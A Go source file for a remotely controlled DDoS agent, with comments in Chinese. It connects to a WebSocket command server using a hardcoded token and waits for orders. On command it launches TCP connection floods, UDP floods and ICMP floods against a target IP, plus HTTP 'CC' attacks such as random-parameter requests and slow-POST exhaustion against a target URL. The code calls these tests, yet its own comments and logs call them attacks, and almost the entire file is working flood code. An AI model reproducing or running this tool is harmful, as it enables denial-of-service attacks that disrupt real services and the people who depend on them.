package main

import (
    "fmt"
    "log"
    "net"
    "net/http"
    "net/url"
    "time"
    "math/rand"
    "strings"
    "io"
    "sync/atomic"
    
    "github.com/gorilla/websocket"
    "github.com/shirou/gopsutil/cpu"
    "github.com/shirou/gopsutil/mem"
)

// 消息结构体
type Message struct {
    Type string      `json:"type"`
    Data interface{} `json:"data"`
}

// 节点状态结构体
type WorkerStatus struct {
    IP            string  `json:"ip"`
    Status        string  `json:"status"`
    CPUUsage      float64 `json:"cpuUsage"`
    MemUsage      float64 `json:"memUsage"`
    Latency       int     `json:"latency"`
    LastHeartbeat int64   `json:"lastHeartbeat"`
}

// 攻击参数结构体
type AttackParams struct {
    TestType        string   `json:"testType"`
    TargetIP        string   `json:"targetIp"`
    DDOSType        string   `json:"ddosType"`
    TargetURL       string   `json:"targetUrl"`
    CCType          string   `json:"ccType"`
    ConcurrentUsers int      `json:"concurrentUsers"`
    Duration        int      `json:"duration"`
    Interval        int      `json:"interval"`
    WorkerNodes     []string `json:"workerNodes"`
}

var (
    conn     *websocket.Conn
    localIP  string
    stopChan chan bool
    successCount int32
    failCount   int32
)

func main() {
    // 获取本机IP
    localIP = getLocalIP()
    if localIP == "" {
        log.Fatal("无法获取本机IP")
    }

    log.Printf("工作节点启动，IP: %s", localIP)
    
    // 连接WebSocket服务器
    connectWebSocket()

    // 保持程序运行
    select {}
}

// 获取本机IP
func getLocalIP() string {
    addrs, err := net.InterfaceAddrs()
    if err != nil {
        log.Printf("获取网络接口失败: %v", err)
        return ""
    }

    for _, addr := range addrs {
        // 检查ip地址判断是否回环地址
        if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
            if ipnet.IP.To4() != nil {
                return ipnet.IP.String()
            }
        }
    }
    return ""
}

// 连接WebSocket服务器
func connectWebSocket() {
    // WebSocket服务器地址
    u := url.URL{
        Scheme: "ws",
        Host:   "127.0.0.1:2222",
        Path:   "/weiyi/osdd/ws",
    }
    
    // 添加token参数
    query := url.Values{}
    query.Add("token", "bfe431474f1e42cc90d88ea340b1313f") 
    u.RawQuery = query.Encode()
    
    log.Printf("[连接] 尝试连接到服务器: %s", u.String())
    
    // 配置 WebSocket 拨号器
    dialer := websocket.Dialer{
        Proxy:            http.ProxyFromEnvironment,
        HandshakeTimeout: 45 * time.Second,
        EnableCompression: true,
    }
    
    // 添加自定义请求头
    header := http.Header{}
    header.Add("User-Agent", "OSDD-Worker")
    header.Add("Origin", "http://apiv2.jstzicp.top")
    
    wsConn, resp, err := dialer.Dial(u.String(), header)
    if err != nil {
        log.Printf("[连接][错误] 连接失败: %v", err)
        if resp != nil {
            log.Printf("[连接][错误] 服务器响应: %d %s", resp.StatusCode, resp.Status)
            // 读取响应体
            body := make([]byte, 1024)
            n, _ := resp.Body.Read(body)
            if n > 0 {
                log.Printf("[连接][错误] 响应内容: %s", string(body[:n]))
            }
            resp.Body.Close()
        }
        // 3秒后重试
        time.Sleep(3 * time.Second)
        go connectWebSocket()
        return
    }
    conn = wsConn  // 将连接赋值给全局变量
    
    log.Printf("[连接] 成功连接到服务器")
    log.Printf("[连接] 本机IP: %s", localIP)

    // 启动心跳检测
    go heartbeat()

    // 注册节点
    registerWorker()

    // 启动状态更新协程
    go updateStatus()

    // 处理接收到的消息
    go handleMessages()
}

// 心跳检测
func heartbeat() {
    ticker := time.NewTicker(30 * time.Second)
    defer ticker.Stop()
    
    for {
        select {
        case <-ticker.C:
            // 发送心跳消息
            msg := Message{
                Type: "heartbeat",
                Data: map[string]string{
                    "ip": localIP,
                },
            }
            
            if err := conn.WriteJSON(msg); err != nil {
                log.Printf("心跳发送失败: %v", err)
                // 重新连接
                conn.Close()
                go connectWebSocket()
                return
            }
        }
    }
}

// 注册工作节点
func registerWorker() {
    log.Printf("[注册] 开始注册节点，IP: %s", localIP)
    msg := Message{
        Type: "worker_register",
        Data: map[string]string{
            "ip": localIP,
        },
    }
    
    if err := conn.WriteJSON(msg); err != nil {
        log.Printf("[注册][错误] 注册失败: %v", err)
        return
    }
    log.Printf("[注册] 节点注册消息已发送")
}

// 更新节点状态
func updateStatus() {
    ticker := time.NewTicker(2 * time.Second)
    defer ticker.Stop()

    for range ticker.C {
        if conn == nil {
            continue
        }

        status := getWorkerStatus()
        msg := Message{
            Type: "worker_status",
            Data: status,
        }

        if err := conn.WriteJSON(msg); err != nil {
            log.Printf("状态更新失败: %v", err)
            conn.Close()
            go connectWebSocket()
            return
        }
    }
}

// 获取工作节点状态
func getWorkerStatus() WorkerStatus {
    cpuPercent, _ := cpu.Percent(time.Second, false)
    memInfo, _ := mem.VirtualMemory()

    return WorkerStatus{
        IP:            localIP,
        Status:        "online",
        CPUUsage:      cpuPercent[0],
        MemUsage:      memInfo.UsedPercent,
        Latency:       10, // 模拟延迟
        LastHeartbeat: time.Now().UnixMilli(),
    }
}

// 处理接收到的消息
func handleMessages() {
    for {
        if conn == nil {
            log.Printf("WebSocket连接为空，等待重连...")
            return
        }

        var msg Message
        err := conn.ReadJSON(&msg)
        if err != nil {
            log.Printf("[ERROR] 读取WebSocket消息失败: %v, 错误类型: %T", err, err)
            conn.Close()
            go connectWebSocket()
            return
        }

        // 打印详细的消息信息
        log.Printf("================收到消息================")
        log.Printf("消息类型: %s", msg.Type)
        log.Printf("消息内容: %+v", msg.Data)
        log.Printf("消息原始数据: %#v", msg)
        log.Printf("=======================================")

        switch msg.Type {
        case "startTest":  // 只使用一种类型
            log.Printf("[开始测试] 接收到测试启动命令")
            log.Printf("[开始测试] 完整参数: %+v", msg.Data)
            handleStartTest(msg.Data)
        case "stopTest":    // 只使用一种类型
            log.Printf("[停止测试] 接收到测试停止命令")
            handleStopTest()
        default:
            log.Printf("[警告] 收到未知类型的消息: %s", msg.Type)
            log.Printf("[警告] 未知消息内容: %+v", msg)
        }
    }
}

// 处理开始测试命令
func handleStartTest(data interface{}) {
    log.Printf("[处理测试] ==================开始处理测试命令==================")
    log.Printf("[处理测试] 原始数据: %+v", data)
    
    // 将 interface{} 转换为 map
    params, ok := data.(map[string]interface{})
    if !ok {
        log.Printf("[错误] 数据格式错误，无法转换为map类型")
        log.Printf("[错误] 实际数据类型: %T", data)
        return
    }

    // 检查是否包含必要的参数
    log.Printf("[处理测试] 检查参数:")
    log.Printf("testType: %v", params["testType"])
    log.Printf("targetIp: %v", params["targetIp"])
    log.Printf("ddosType: %v", params["ddosType"])
    log.Printf("workerNodes: %v", params["workerNodes"])

    // 解析测试参数
    testType, _ := params["testType"].(string)
    log.Printf("[处理测试] 测试类型: %s", testType)
    log.Printf("[处理测试] 目标节点: %v", params["workerNodes"])
    log.Printf("[处理测试] 本机IP: %s", localIP)

    switch testType {
    case "ddos":
        log.Printf("[处理测试] 开始处理DDOS测试")
        handleDDOSTest(params)
    case "cc":
        log.Printf("[处理测试] 开始处理CC测试")
        handleCCTest(params)
    default:
        log.Printf("[错误] 未知的测试类型: %s", testType)
    }
    log.Printf("[处理测试] ==================处理测试命令完成==================")
}

// 处理停止测试命令
func handleStopTest() {
    if stopChan != nil {
        stopChan <- true
    }
}

// 发送SYN洪水攻击
func sendSYNFlood(targetIP string) {
    // 构建目标地址
    targetAddr := fmt.Sprintf("%s:80", targetIP)
    
    // 大幅增加并发连接数
    for i := 0; i < 1000; i++ {
        // 创建TCP连接
        dialer := net.Dialer{
            Timeout: time.Millisecond * 100, // 减少超时时间，快速重试
            LocalAddr: &net.TCPAddr{
                IP:   net.ParseIP("0.0.0.0"),
                Port: rand.Intn(65535-1024) + 1024,
            },
        }
        
        go func() {
            conn, err := dialer.Dial("tcp", targetAddr)
            if err != nil {
                atomic.AddInt32(&failCount, 1)
                return
            }
            defer conn.Close()
            
            tcpConn := conn.(*net.TCPConn)
            tcpConn.SetLinger(0)
            tcpConn.SetNoDelay(true)  // 设置 TCP_NODELAY
            tcpConn.SetWriteBuffer(65535)  // 设置较大的写缓冲区
            tcpConn.SetReadBuffer(65535)   // 设置较大的读缓冲区
            atomic.AddInt32(&successCount, 1)
        }()
    }
}

// 发送UDP洪水攻击
func sendUDPFlood(targetIP string) {
    // 同时攻击多个常用端口
    ports := []int{53, 80, 443, 1194, 27015}
    for _, port := range ports {
        addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", targetIP, port))
        if err != nil {
            continue
        }
        
        // 为每个端口创建多个连接
        for i := 0; i < 200; i++ {
            go func(targetAddr *net.UDPAddr) {
                conn, err := net.DialUDP("udp", nil, targetAddr)
                if err != nil {
                    atomic.AddInt32(&failCount, 1)
                    return
                }
                defer conn.Close()
                
                // 发送大量随机数据包
                data := make([]byte, 65507) // 最大UDP包大小
                rand.Read(data)
                
                for j := 0; j < 100; j++ { // 每个连接发送多个包
                    conn.Write(data)
                    atomic.AddInt32(&successCount, 1)
                }
            }(addr)
        }
    }
}

// 发送ICMP洪水攻击
func sendICMPFlood(targetIP string) {
    // 创建多个并发ICMP请求
    for i := 0; i < 500; i++ {
        go func() {
            conn, err := net.Dial("ip4:icmp", targetIP)
            if err != nil {
                atomic.AddInt32(&failCount, 1)
                return
            }
            defer conn.Close()
            
            // 构造ICMP Echo请求包
            data := make([]byte, 65535) // 最大包大小
            rand.Read(data)
            
            // 持续发送数据包
            for j := 0; j < 100; j++ {
                conn.Write(data)
                atomic.AddInt32(&successCount, 1)
                time.Sleep(time.Millisecond) // 稍微延迟，避免系统资源耗尽
            }
        }()
    }
}

// 启动DDOS攻击
func startDDOSAttack(params AttackParams, stop chan bool) {
    log.Printf("开始DDOS攻击: %s, 类型: %s", params.TargetIP, params.DDOSType)
    
    // 创建计数器
    var successCount, failCount int32
    
    // 创建统计goroutine
    go func() {
        ticker := time.NewTicker(time.Second)
        defer ticker.Stop()
        
        for {
            select {
            case <-stop:
                return
            case <-ticker.C:
                success := atomic.LoadInt32(&successCount)
                fail := atomic.LoadInt32(&failCount)
                total := success + fail
                if total > 0 {
                    successRate := float64(success) / float64(total) * 100
                    log.Printf("[攻击统计] 成功: %d, 失败: %d, 成功率: %.2f%%", 
                        success, fail, successRate)
                }
            }
        }
    }()
    
    // 创建攻击停止信号
    done := make(chan bool)
    
    // 启动多个goroutine进行攻击
    for i := 0; i < params.ConcurrentUsers; i++ {
        go func() {
            for {
                select {
                case <-stop:
                    done <- true
                    return
                default:
                    switch params.DDOSType {
                    case "syn_flood":
                        sendSYNFlood(params.TargetIP)
                        atomic.AddInt32(&successCount, 1)
                    case "udp_flood":
                        sendUDPFlood(params.TargetIP)
                        atomic.AddInt32(&successCount, 1)
                    case "icmp_flood":
                        sendICMPFlood(params.TargetIP)
                        atomic.AddInt32(&successCount, 1)
                    }
                    
                    time.Sleep(time.Duration(params.Interval) * time.Millisecond)
                }
            }
        }()
    }

    // 等待停止信号
    <-done
    log.Printf("DDOS攻击已停止")
}

// 启动CC攻击
func startCCAttack(params AttackParams, stop chan bool) {
    log.Printf("开始CC攻击: %s, 类型: %s", params.TargetURL, params.CCType)
    
    // 创建HTTP客户端
    client := &http.Client{
        Timeout: time.Second * 30,
        Transport: &http.Transport{
            MaxIdleConns:        10000,
            MaxIdleConnsPerHost: 10000,
            IdleConnTimeout:     30 * time.Second,
            DisableKeepAlives:   false,
            DisableCompression:  true,
            // 启用HTTP/2
            ForceAttemptHTTP2:   true,
        },
    }

    // 创建大量并发请求
    for i := 0; i < params.ConcurrentUsers*10; i++ { // 增加10倍并发
        go func() {
            for {
                select {
                case <-stop:
                    return
                default:
                    switch params.CCType {
                    case "random_params":
                        sendRandomParamsRequest(client, params.TargetURL)
                    case "slow_connection":
                        sendSlowConnectionRequest(client, params.TargetURL)
                    case "slow_post":
                        sendSlowPostRequest(client, params.TargetURL)
                    }
                    
                    // 减少请求间隔
                    time.Sleep(time.Duration(params.Interval/10) * time.Millisecond)
                }
            }
        }()
    }
}

// 发送带随机参数的请求
func sendRandomParamsRequest(client *http.Client, targetURL string) {
    // 添加随机参数
    u, err := url.Parse(targetURL)
    if err != nil {
        return
    }
    
    q := u.Query()
    q.Add("id", randomString(32))
    q.Add("t", fmt.Sprintf("%d", time.Now().UnixNano()))
    u.RawQuery = q.Encode()

    req, err := http.NewRequest("GET", u.String(), nil)
    if err != nil {
        return
    }

    // 添加随机User-Agent
    req.Header.Set("User-Agent", randomUserAgent())
    
    client.Do(req)
}

// 发送慢速连接请求
func sendSlowConnectionRequest(client *http.Client, targetURL string) {
    req, err := http.NewRequest("GET", targetURL, nil)
    if err != nil {
        return
    }

    // 设置较小的TCP窗口大小
    req.Header.Set("Accept", strings.Repeat("A", 1024))
    req.Header.Set("Connection", "keep-alive")
    
    client.Do(req)
}

// 发送慢速POST请求
func sendSlowPostRequest(client *http.Client, targetURL string) {
    // 创建一个很慢的请求体Reader
    slowBody := &slowReader{
        data: []byte(strings.Repeat("A", 1024*1024*10)), // 10MB数据
        delay: time.Millisecond * 100, // 减少延迟以增加压力
    }

    req, err := http.NewRequest("POST", targetURL, slowBody)
    if err != nil {
        return
    }

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprintf("%d", len(slowBody.data)))
    req.Header.Set("Connection", "keep-alive")
    req.Header.Set("X-Requested-With", "XMLHttpRequest")
    req.Header.Set("Accept", "*/*")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br")
    
    client.Do(req)
}

// 慢速Reader实现
type slowReader struct {
    data  []byte
    pos   int
    delay time.Duration
}

func (r *slowReader) Read(p []byte) (n int, err error) {
    if r.pos >= len(r.data) {
        return 0, io.EOF
    }
    
    // 每次只读取一个字节,并等待
    p[0] = r.data[r.pos]
    r.pos++
    time.Sleep(r.delay)
    return 1, nil
}

// 生成随机字符串
func randomString(length int) string {
    const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result := make([]byte, length)
    for i := range result {
        result[i] = chars[rand.Intn(len(chars))]
    }
    return string(result)
}

// 随机User-Agent
func randomUserAgent() string {
    userAgents := []string{
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
    }
    return userAgents[rand.Intn(len(userAgents))]
}

// 处理DDOS测试
func handleDDOSTest(params map[string]interface{}) {
    log.Printf("[DDOS测试] 开始处理DDOS测试参数")
    log.Printf("[DDOS测试] 完整参数: %+v", params)

    // 检查是否包含本节点
    workerNodes, ok := params["workerNodes"].([]interface{})
    if !ok {
        log.Printf("[DDOS测试][错误] 无法解析工作节点列表")
        log.Printf("[DDOS测试][错误] workerNodes类型: %T, 值: %v", params["workerNodes"], params["workerNodes"])
        return
    }

    log.Printf("[DDOS测试] 检查节点列表: %v", workerNodes)
    found := false
    for _, node := range workerNodes {
        log.Printf("[DDOS测试] 比较节点: %v (类型: %T) 与本机IP: %s", node, node, localIP)
        if nodeIP, ok := node.(string); ok && nodeIP == localIP {
            found = true
            log.Printf("[DDOS测试] 找到本机节点: %s", nodeIP)
            break
        }
    }
    if !found {
        log.Printf("[DDOS测试] 本机不在目标节点列表中，忽略命令")
        return
    }

    log.Printf("[DDOS测试] 准备启动攻击")
    // 停止之前的攻击
    if stopChan != nil {
        stopChan <- true
    }

    // 创建新的停止通道
    stopChan = make(chan bool)

    // 解析攻击参数
    attackParams := AttackParams{
        TestType:        params["testType"].(string),
        TargetIP:        params["targetIp"].(string),
        DDOSType:        params["ddosType"].(string),
        ConcurrentUsers: int(params["concurrentUsers"].(float64)),
        Duration:        int(params["duration"].(float64)),
        Interval:        int(params["interval"].(float64)),
    }

    log.Printf("[DDOS测试] 攻击参数: %+v", attackParams)
    // 启动攻击
    go startDDOSAttack(attackParams, stopChan)
}

// 处理CC测试
func handleCCTest(params map[string]interface{}) {
    log.Printf("[CC测试] 开始处理CC测试参数")
    // 检查是否包含本节点
    workerNodes, ok := params["workerNodes"].([]interface{})
    if !ok {
        log.Printf("[CC测试][错误] 无法解析工作节点列表")
        return
    }

    log.Printf("[CC测试] 检查节点列表: %v", workerNodes)
    found := false
    for _, node := range workerNodes {
        if nodeIP, ok := node.(string); ok && nodeIP == localIP {
            found = true
            log.Printf("[CC测试] 找到本机节点: %s", nodeIP)
            break
        }
    }
    if !found {
        log.Printf("[CC测试] 本机不在目标节点列表中，忽略命令")
        return
    }

    // 停止之前的攻击
    if stopChan != nil {
        stopChan <- true
    }

    // 创建新的停止通道
    stopChan = make(chan bool)

    // 解析攻击参数
    attackParams := AttackParams{
        TestType:        params["testType"].(string),
        TargetURL:       params["targetUrl"].(string),
        CCType:          params["ccType"].(string),
        ConcurrentUsers: int(params["concurrentUsers"].(float64)),
        Duration:        int(params["duration"].(float64)),
        Interval:        int(params["interval"].(float64)),
    }

    // 启动攻击
    go startCCAttack(attackParams, stopChan)
}